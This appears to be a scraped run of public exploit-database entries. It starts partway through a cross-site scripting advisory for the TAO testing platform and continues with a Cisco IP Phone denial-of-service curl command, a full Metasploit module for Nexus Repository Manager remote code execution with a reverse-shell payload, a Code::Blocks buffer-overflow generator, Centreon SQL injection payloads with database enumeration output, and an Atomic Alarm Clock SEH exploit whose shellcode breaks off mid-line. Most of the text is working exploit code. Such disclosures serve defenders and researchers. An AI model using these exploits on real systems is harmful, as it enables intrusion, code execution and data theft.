Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Reference(s): http://localhost:89/tao/Users/edit http://localhost:89/tao/Main/index 1.2 The persistent cross site scripting web vulnerability can be exploited by remote attackers with privileged user account with low user interaction. For security demonstration or to reproduce the cross site scripting web vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Open and login to the tao application 2. Move into the test module on top 3. Add new Rubric Block 4. Inject script code test payload into the text label content input field 5. Save the entry and move on the right site to activate 6. The click on activate includes and executes the content immediatly 7. Succesful reproduce of the cross site scripting vulnerability! PoC: Vulnerable Source <div class="rubricblock-content"><div>asd>"><span data-serial="img_l9lmylhuv8hf55xo9z264n" class="widget-box widget-inline widget-img" data-qti-class="img" contenteditable="false"> <img data-serial="img_l9lmylhuv8hf55xo9z264n" data-qti-class="img" src="" alt="" style="" width="100%"></span> <img data-serial="img_rxephz0lwthtejgsndo2f3" data-qti-class="img" src="evil.source" alt="" style=""> >"<script>alert(document.cookie)></script></div></iframe></div></div> </li></ol> PoC: Payload "<script>alert(document.cookie)></script> --- PoC Session Logs [POST] --- http://localhost:89/taoQtiTest/Creator/saveTest?uri=http%3A%2F%2Flocalhost%2Ftao.rdf%23i1586971961942612 Host: localhost:89 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 9664 Origin: http://localhost:89 Connection: keep-alive Referer: http://localhost:89/tao/Main/index?structure=tests&ext=taoTests§ion=authoring Cookie: tao_X3GLb7Ke=i89lfik72ts13i8soadgfb64hb; tao_f46245c=9ebdee0d0f34b349a61ba23443ecc950c43a0042 model={"qti-type":"assessmentTest","identifier":"Test-1","title":"QTI Example Test","toolName":"tao","toolVersion":"2.7","outcomeDeclarations":[], "timeLimits":{"qti-type":"timeLimits","maxTime":7810,"allowLateSubmission":false},"testParts":[{"qti-type":"testPart","identifier":"Introduction","navigationMode":1,"submissionMode":0,"preConditions":[],"branchRules":[], "itemSessionControl":{"qti-type":"itemSessionControl","maxAttempts":0,"showFeedback":false,"allowReview":true,"showSolution":false,"allowComment":false, "validateResponses":false,"allowSkipping":true},"assessmentSections":[{"qti-type":"assessmentSection","title":"Section 1","visible":true, "keepTogether":true,"sectionParts":[{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971963337314","categories":[], "variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-1","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":0, "itemSessionControl"{"qtitype":"itemSessionControl","maxAttempts":1,"showFeedback":false,"allowReview":true,"showSolution":false,"allowComment":true, "validateResponses":false,"allowSkipping":true},"isLinear":false}],"identifier":"assessmentSection-1","required":true,"fixed":false,"preConditions":[],"branchRules":[], "itemSessionControl":{"qti-type":"itemSessionControl","maxAttempts":1,"showFeedback":false,"allowReview":true,"showSolution":false,"allowComment":true,"validateResponses": false,"allowSkipping":true},"index":0}],"testFeedbacks":[],"index":0},{"qti-type":"testPart","identifier":"QTIExamples","navigationMode":0,"submissionMode":0,"preConditions":[],"branchRules":[],"assessmentSections":[{"qti-type":"assessmentSection","title":"Section 1","visible":false,"keepTogether":true,"sectionParts":[{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971964187315","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-2","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":0,"itemSessionControl":{"qti-type":"itemSessionControl","maxAttempts":1,"showFeedback":false,"allowComment":false,"allowSkipping":true,"validateResponses":false},"isLinear":true, "timeLimits":{"maxTime":0,"minTime":0,"allowLateSubmission":false,"qti-type":"timeLimits"}},{"qti-type":"assessmentItemRef", "href":"http://localhost/tao.rdf#i1586971965925016","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-3","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":1,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true}, {"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i158697196662817","categories":[],"variableMappings":[],"weights":[], "templateDefaults":[],"identifier":"item-4","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":2,"itemSessionControl ":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971967539318","categories" :[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-5","required":false,"fixed":false,"preConditions":[],"branchRules":[], "index":3,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href": "http://localhost/tao.rdf#i1586971968508019","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-6", "required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":4,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971969922220","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier": "item-7","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":5,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i158697197087021","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-8","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":6,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971970668622","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier": "item-9","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":7,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true}],"identifier":"assessmentSection-2","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":0, "itemSessionControl":{"qti-type":"itemSessionControl"},"rubricBlocks":[{"qti-type":"rubricBlock","index":0,"content":[{"qti-type":"div","id":"","class":"","xmlBase":"","lang":"","label":"","content":[{"qti-type":"textRun","content":"asd>"<script>alert(document.cookie)></script>", "xmlBase":""}]}],"views":["candidate"],"orderIndex":1,"uid":"rb1","feedback":{"activated":false,"outcome":null,"matchValue":null,"qti-type":"feedback"}, "class":""}]}],"testFeedbacks":[],"index":1}],"testFeedbacks":[],"scoring":{"modes":{"none":{"key":"none","label":"None","description":"No outcome processing. Erase the existing rules, if any.","qti-type":"none"},"custom":{"key":"custom","label":"Custom","description":"bufu","qti-type":"cut"},"qti-type":"modes"},"scoreIdentifier":"SCORE","weightIdentifier":"","cutScore":0.5,"categoryScore":false,"outcomeProcessing":"none","qti-type":"scoring"}} - POST: HTTP/1.1 200 OK Server: Apache/2.4.38 (Win32) PHP/7.2.15 X-Powered-By: PHP/7.2.15 Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Security-Policy: frame-ancestors 'self' Content-Length: 14 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/json; charset=UTF-8 - http://localhost:89/tao/Main/evil.source Host: localhost:89 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: image/webp,*/* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Referer: http://localhost:89/tao/Main/index?structure=tests&ext=taoTests§ion=authoring Cookie: tao_X3GLb7Ke=i89lfik72ts13i8soadgfb64hb; tao_f46245c=9ebdee0d0f34b349a61ba23443ecc950c43a0042 - GET: HTTP/1.1 200 OK Server: Apache/2.4.38 (Win32) PHP/7.2.15 X-Powered-By: PHP/7.2.15 Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 169 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Security Risk: ============== 1.1 The security risk of the html inject web vulnerability in the web-application is estimated as medium. 1.2 The security risk of the persistent cross site scripting web vulnerability in the web-application is estimated as medium. Credits & Authors: ================== Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M. Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@) to get a ask permission. Copyright © 2020 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM
-
Cisco IP Phone 11.7 - Denial of service (PoC)
# Exploit Title: Cisco IP Phone 11.7 - Denial of Service (PoC) # Date: 2020-04-15 # Exploit Author: Jacob Baines # Vendor Homepage: https://www.cisco.com # Software Link: https://www.cisco.com/c/en/us/products/collaboration-endpoints/ip-phones/index.html # Version: Before 11.7(1) # Tested on: Cisco Wireless IP Phone 8821 # CVE: CVE-2020-3161 # Cisco Advisory: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-voip-phones-rce-dos-rB6EeRXs # Researcher Advisory: https://www.tenable.com/security/research/tra-2020-24 curl -v --path-as-is --insecure https://phone_address/deviceconfig/setActivationCode?params=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
-
Nexus Repository Manager - Java EL Injection RCE (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::AutoCheck include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Nexus Repository Manager Java EL Injection RCE', 'Description' => %q{ This module exploits a Java Expression Language (EL) injection in Nexus Repository Manager versions up to and including 3.21.1 to execute code as the Nexus user. This is a post-authentication vulnerability, so credentials are required to exploit the bug. Any user regardless of privilege level may be used. Tested against 3.21.1-01. }, 'Author' => [ 'Alvaro Muñoz', # Discovery 'wvu' # Module ], 'References' => [ ['CVE', '2020-10199'], ['URL', 'https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype'], ['URL', 'https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31'] ], 'DisclosureDate' => '2020-03-31', # Vendor advisory 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [['Nexus Repository Manager <= 3.21.1', {}]], 'DefaultTarget' => 0, 'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'}, 'CmdStagerFlavor' => %i[curl wget], 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } )) register_options([ Opt::RPORT(8081), OptString.new('TARGETURI', [true, 'Base path', '/']), OptString.new('USERNAME', [true, 'Nexus username', 'admin']), OptString.new('PASSWORD', [true, 'Nexus password']) ]) end def post_auth? # Pre-auth RCE? https://twitter.com/iamnoooob/status/1246182773427240967 true end # Send a GET / request to the server, check the response for a Server header # containing the Nexus version, and then check if it's a vulnerable version def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) ) unless res return CheckCode::Unknown('Target did not respond to check request.') end unless res.headers['Server'] return CheckCode::Unknown('Target did not respond with Server header.') end # Example Server header: # Server: Nexus/3.21.1-01 (OSS) version = res.headers['Server'].scan(%r{^Nexus/([\d.-]+)}).flatten.first unless version return CheckCode::Unknown('Target did not respond with Nexus version.') end if Gem::Version.new(version) <= Gem::Version.new('3.21.1') return CheckCode::Appears("Nexus #{version} is a vulnerable version.") end CheckCode::Safe("Nexus #{version} is NOT a vulnerable version.") end def exploit # NOTE: Automatic check is implemented by the AutoCheck mixin super print_status("Executing command stager for #{datastore['PAYLOAD']}") # This will drop a binary payload to disk and execute it! execute_cmdstager( noconcat: true, cookie: login(datastore['USERNAME'], datastore['PASSWORD']) ) end def login(username, password) print_status("Logging in with #{username}:#{password}") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/service/rapture/session'), 'vars_post' => { 'username' => Rex::Text.encode_base64(username), 'password' => Rex::Text.encode_base64(password) }, 'partial' => true # XXX: Return partial response despite timeout }, 3.5) unless res fail_with(Failure::Unknown, 'Target did not respond to login request') end cookie = res.get_cookies unless res.code == 204 && cookie.match(/NXSESSIONID=[\h-]+/) fail_with(Failure::NoAccess, 'Could not log in with specified creds') end print_good("Logged in with #{cookie}") cookie end # This is defined so that CmdStager can use it! def execute_command(cmd, opts = {}) vprint_status("Executing command: #{cmd}") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/service/rest/beta/repositories/go/group'), # HACK: Bypass CSRF token with random User-Agent header 'agent' => rand_text_english(8..42), 'cookie' => opts[:cookie], 'ctype' => 'application/json', 'data' => json_payload(cmd) ) unless res fail_with(Failure::Unknown, 'Target did not respond to payload request') end unless res.code == 400 && res.body.match(/java\.lang\.UNIXProcess@\h+/) fail_with(Failure::PayloadFailed, "Could not execute command: #{cmd}") end print_good("Successfully executed command: #{cmd}") end # PoC based off API docs for /service/rest/beta/repositories/go/group: # http://localhost:8081/#admin/system/api def json_payload(cmd) { 'name' => 'internal', 'online' => true, 'storage' => { 'blobStoreName' => 'default', 'strictContentTypeValidation' => true }, 'group' => { # XXX: memberNames has to be an array, but the API example was a string 'memberNames' => [el_payload(cmd)] } }.to_json end # Helpful resource from which I borrowed the EL payload: # https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf def el_payload(cmd) # HACK: Format our EL expression nicely and then strip introduced whitespace el = <<~EOF.gsub(/\s+/, '') ${ "".getClass().forName("java.lang.Runtime").getMethods()[6].invoke( "".getClass().forName("java.lang.Runtime") ).exec("PATCH_ME") } EOF # Patch in our command, escaping any double quotes el.sub('PATCH_ME', cmd.gsub('"', '\\"')) end end
-
Code Blocks 16.01 - Buffer Overflow (SEH) UNICODE
# Exploit Title: Code Blocks 16.01 - Buffer Overflow (SEH) UNICODE # Date: 2020-04-17 # Exploit Author: T3jv1l # Software Link: https://sourceforge.net/projects/codeblocks/files/Binaries/16.01/Windows/codeblocks-16.01-setup.exe # Software version: 16.01 buffer="A"*536 #buffer buffer+="\x61\x41" #POPAD + Aligned buffer+="\xF2\x41" #POP/POP/RET #----------------------Align the eax to point to the shellcode PART ----------------------- #buffer+="\x90" #NOP #buffer+="\x6e" #venetian padding #buffer+="\x05\x37\x13" #add eax, 0x13003700 #buffer+="\x6e" #buffer+="\x2d\x36\x13" #sub eax, 0x13003600 #buffer+="\x6e" #venetian padding #buffer+="\x50" #push eax #buffer+="\x6e" #Venetian padding #buffer+="\xc3" #ret #----------------------Shellcode PlaceHOLDER ---------------------------------------------- #uffer+="\x90"*111 #buffer+=("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLIX52KPKPM01PDIJEP1Y0QT4KPPNPTK1BLLTK1BMDDKSBNHLO6WPJNFNQKOVLOLC13LM2NLO07QXOLMKQ7WJBZR220WDKQBN0TKOZOLTKPLN1T8ZCOXKQZ10QTKQIMPKQXSTKOYLXISOJ19TKNTTKM1XV01KOFL7Q8OLMKQGW08YPD5L6KSSMJXOKSMMTBU9TPXDKR8MTKQYCRF4KLLPKTKPXMLKQJ3TKKTDKKQZ0E9OTMTO4QK1K1Q291JPQKO9PQOQOQJTKN2JKDM1MRJKQ4M3UGBKPM0M0R0RHNQTKRO4GKOXUWKL0VU6BPVQXVFDU7MUMKO9EOLM63LLJE0KKYP2UM5WKOWN3T2RORJKP1CKOJ5BCS1RL33NNS5RX2EKPA") buffer+="\xcc\xcc\xcc\xcc" buffer+="\x90"*(5000-len(buffer)) f=open('exploit.m3u','w'); f.write(buffer); f.close(); print "[+] File created."
-
Centreon 19.10.5 - 'id' SQL Injection
# Exploit Title: Centreon 19.10.5 - 'id' SQL Injection # Date: 2020-04-19 # Exploit Author: Basim alabdullah # Vendor Homepage: https://www.centreon.com # Software Link: https://download.centreon.com/ # Version: v.19.10.5 # Tested on: Centos 5 [EXECUTIVE SUMMARY] Centreon has come a long way from its early roots. A user-friendly monitoring console on Nagios before, Centreon is today, a rich monitoring platform powered by Centreon Engine, Centreon Broker and Centreon Web. Monitoring-savvy IT practitioners who want Nagios-inspired flexibility without its complexity, easily embrace Centreon for robust infrastructure systems and network performance monitoring. Downloaded by hundreds and thousands of IT professionals worldwide. The analysis discovered a time-based blind SQL injection vulnerability in the tracker functionality of Centreon Monitoring software. A malicious user can inject arbitrary SQL commands to the application. The vulnerability lies in the project tracker service search functionality; depending on project visibility successful exploitation may require user authentication. A successful attack can read, modify or delete data from the database or execute arbitrary commands on the underlying system. [VULNERABLE VERSIONS] The following version of the Centreon Monitoring was affected by the vulnerability; previous versions may be vulnerable as well: - Centreon version 19.10.5 [Proof of Concept] http://TARGET/centreon/include/monitoring/acknowlegement/xml/broker/makeXMLForAck.php?hid=15&svc_id=1%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CCONCAT%280x7176706b71%2C%28CASE%20WHEN%20%28ISNULL%28JSON_STORAGE_FREE%28NULL%29%29%29%20THEN%201%20ELSE%200%20END%29%2C0x716b716b71%29%2CNULL%2CNULL%23 [Payloads] Parameter: svc_id (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: hid=15&svc_id=1 OR NOT 5782=5782 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: hid=15&svc_id=1 AND (SELECT 1615 FROM (SELECT(SLEEP(5)))TRPy) Type: UNION query Title: MySQL UNION query (NULL) - 5 columns Payload: hid=15&svc_id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x7176706b71,0x724b66756a476759544f48716d61496b5a68754a4c6f42634e6e775272724c44616e567355527a6f,0x716b716b71),NULL,NULL# --- [12:24:35] [INFO] testing MySQL [12:24:35] [INFO] confirming MySQL [12:24:35] [INFO] the back-end DBMS is MySQL [12:24:35] [INFO] fetching banner web server operating system: Linux Red Hat web application technology: Apache 2.4.34, PHP 7.2.24 back-end DBMS: MySQL >= 5.0.0 (MariaDB fork) banner: '10.1.38-MariaDB' [12:24:35] [INFO] fetching database names [12:24:35] [INFO] starting 4 threads [12:24:35] [INFO] resumed: 'centreon' [12:24:35] [INFO] resumed: 'test' [12:24:35] [INFO] resumed: 'centreon_storage' [12:24:35] [INFO] resumed: 'information_schema' available databases [4]: [*] centreon [*] centreon_storage [*] information_schema [*] test
-
Atomic Alarm Clock 6.3 - Stack Overflow (Unicode+SEH)
# Exploit Title: Atomic Alarm Clock 6.3 - Stack Overflow (Unicode+SEH) # Exploit Author: Bobby Cooke # Date: 2020-04-17 # Vendor: Drive Software Company # Vendor Site: http://www.drive-software.com # Software Download: http://www.drive-software.com/download/ataclock.exe # Tested On: Windows 10 - Pro 1909 (x86) # Version: Atomic Alarm Clock 6.3 beta # Recreate: Install > Open > Run Exploit > Open poc.txt & copy to clipboard > Time Zones > Clock1 > click 'Enter display name' textbox > paste buffer File = 'poc.txt' os_nSEH = '\x41'*(461) nSEH = '\xeb\x05' # jmp short +2 SEH = '\x47\x47' # 0x00470047 : pop esi # pop ebx # ret [AtomicAlarmClock.exe] #{PAGE_EXECUTE_READ} ASLR: False, Rebase: False, SafeSEH: False getPC = '\x73' # add [ebx], dh # nop | [EBX] = writable memory getPC += '\x61' # popad # [ESP] = &Payload getPC += '\x72' # add [edx], dh # realigns execution for 1 byte opcodes ebx2eax = '\x58' # pop eax # EAX = &Payload ebx2eax += '\x72' # add [edx], dh # Ajust EAX to &Decoder getDecoder = '\x05\x13\x11' # add eax, 0x11001300 # EAX + 512-bytes getDecoder += '\x72' # add [edx], dh getDecoder += '\x2D\x11\x11' # sub eax, 0x11001100 # EAX = &Decoder getDecoder += '\x72' # add [edx], dh getDecoder += '\x50' # push eax # [ESP] = &Decoder getDecoder += '\x72' # add [edx], dh #DecoderHex = '505F4733D233C966B9100433DB424232DB021C10203F301F47497402EBED50C3' firstHalf = '\x50\x47\xD2\xC9\xB9\x04\xDB\x42\xDB\x1C\x20\x30\x47\x74\xEB\x50' ## 2nd byte - \x00 => \x5F venBlinds = '\x40\x72\xC6\x5F\x72\x40\x72\x40\x72' ## 4th byte - \x00 => \x33 venBlinds += '\xC6\x33\x72\x40\x72\x40\x72' ## 6th byte - \x00 => \x33 venBlinds += '\xC6\x33\x72\x40\x72\x40\x72' ## 8th byte - \x00 => \x66 venBlinds += '\xC6\x66\x72\x40\x72\x40\x72' ## 10th byte - \x00 => \x10 venBlinds += '\xC6\x10\x72\x40\x72\x40\x72' ## 12th byte - \x00 => \x33 venBlinds += '\xC6\x33\x72\x40\x72\x40\x72' ## 14th byte - \x00 => \x42 venBlinds += '\xC6\x42\x72\x40\x72\x40\x72' ## 16th byte - \x00 => \x32 venBlinds += '\xC6\x32\x72\x40\x72\x40\x72' ## 18th byte - \x00 => \x02 venBlinds += '\xC6\x02\x72\x40\x72\x40\x72' ## 20th byte - \x00 => \x10 venBlinds += '\xC6\x10\x72\x40\x72\x40\x72' ## 22nd byte - \x00 => \x3F venBlinds += '\xC6\x3F\x72\x40\x72\x40\x72' ## 24nd byte - \x00 => \x1F venBlinds += '\xC6\x1F\x72\x40\x72\x40\x72' ## 26th byte - \x00 => \x49 venBlinds += '\xC6\x49\x72\x40\x72\x40\x72' ## 28th byte - \x00 => \x02 venBlinds += '\xC6\x02\x72\x40\x72\x40\x72' ## 30th byte - \x00 => \xED venBlinds += '\xC6\xED\x72\x40\x72\x40\x72' ## 32nd byte - \x00 => \xC3 venBlinds += '\xC6\xC3\x72\x40\x72' # Jump to the decoded decoder by Returning to the address we saved on the stack venBlinds += '\xC3' # ret [!] Now we are executing the decoder! os_decoder = '\x90'*((512/2)-len(nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds)) # Custom PopCalc shellcode that avoids the bad characters fKernel32 = '\x33\xF6\xF7\xE6\x64\x03\x52\x30\x03\x42\x0C\x03\x70\x1C\xAD\x50\x5E\xAD\xFF\x70\x08' gExpotTbl = '\x33\xC9\x33\xF6\x33\xDB\xF7\xE3\x58\x50\x03\x70\x3C\x03\xF0\x03\x56\x78\x03\xD0\x03\x5A\x20\x03\xD8\x03\x4A\x24\x03\xC8\x51\x33\xFF\x03\x7A\x1C\x03\xF8\x57' fWinExec = '\x68\x57\x69\x6E\x45\x33\xC0\x33\xF6\x03\xF4\xFC\x50\x33\xC9\x41\x41\x41\x41\xF7\xE1\x33\xFF\x03\x3C\x18\x58\x03\x7C\x24\x0C\xF3\xA6\x74\x03\x40\xEB\xE1\x33\xC9\x41\x41\xF7\xE1\x33\xC9\x03\x4C\x24\x08\x03\xC8\x33\xC0\x66\x03\x01\x33\xC9\x41\x41\x41\x41\xF7\xE1\xFF\x74\x24\x04\x01\x04\x24\x5A\x33\xDB\x03\x1A\x03\x5C\x24\x0C' # Call WinExec( CmdLine, ShowState ); # CmdLine = "calc.exe" # ShowState = 0x00000001 = SW_SHOWNORMAL - displays a window callWinExec = '\x33\xC9\x51\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x33\xC0\x03\xC4\x41\x51\x50\xFF\xD3' shellcode = fKernel32+gExpotTbl+fWinExec+callWinExec buffer = 